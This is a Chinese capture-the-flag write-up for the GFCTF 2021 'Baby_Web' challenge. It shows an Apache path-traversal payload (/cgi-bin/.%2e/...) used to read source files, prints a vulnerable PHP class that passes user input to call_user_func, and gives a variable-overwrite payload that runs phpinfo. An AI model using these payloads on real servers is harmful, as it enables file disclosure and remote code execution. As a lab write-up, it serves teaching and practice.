[GFCTF 2021]Baby_Web
[GFCTF 2021]Baby_Web
一道cve和php代码审计的题目,进入题目发现没什么东西,
看网页源码

发现一个xxx.php.txt文件,这道题也是一道cve路径穿越漏洞
直接上网搜payload
/cgi-bin/.%2e/.%2e/.%2e/.%2e
接下来直接目录遍历,题目中说是上层目录,那就是html目录,问我怎么知道,猜的。根据题目的描述,我猜应该是在www.php.txt中,这次我猜错了,猜了几次才猜到是index.php.txt,index是五个字母啊
得到源码

发现里面有Class.php文件我们利用刚才的那种形式接着读
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
给了个/template/admin/我们访问一下

说明它最后会调用listdata,而在list方法中存在着危险函数
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
这就是我们所要利用的点了,利用变量覆盖执行回调函数,虽然我们还不知道可以用什么函数,我们可以先传一个phpinfo;
首先,我们需要包含index.html文件,为mod传值,action的值就是function,因为case的值只有是这一种情况时才能去调用call_user_func函数,所以filename=index.html;而进入template/admin/index.html这个页面还需要让dir=admin,所以就是让space=admin,但space上文定义为空所以我们需要变量覆盖来让space=admin,但最后调用listdata方法,我们还需要为变量$mod传值,这个值是多少无所谓,最后进入call_user_func危险函数,传值是键值为name的变量值成功执行phpinfo,大致就是这个思路,传值时注意源码中数组的定义是以空格分割开的
所以最后的payload为
?filename=index.html
space=admin&mod=wda action=function name=phpinfo
最后得到flag

浙公网安备 33010602011771号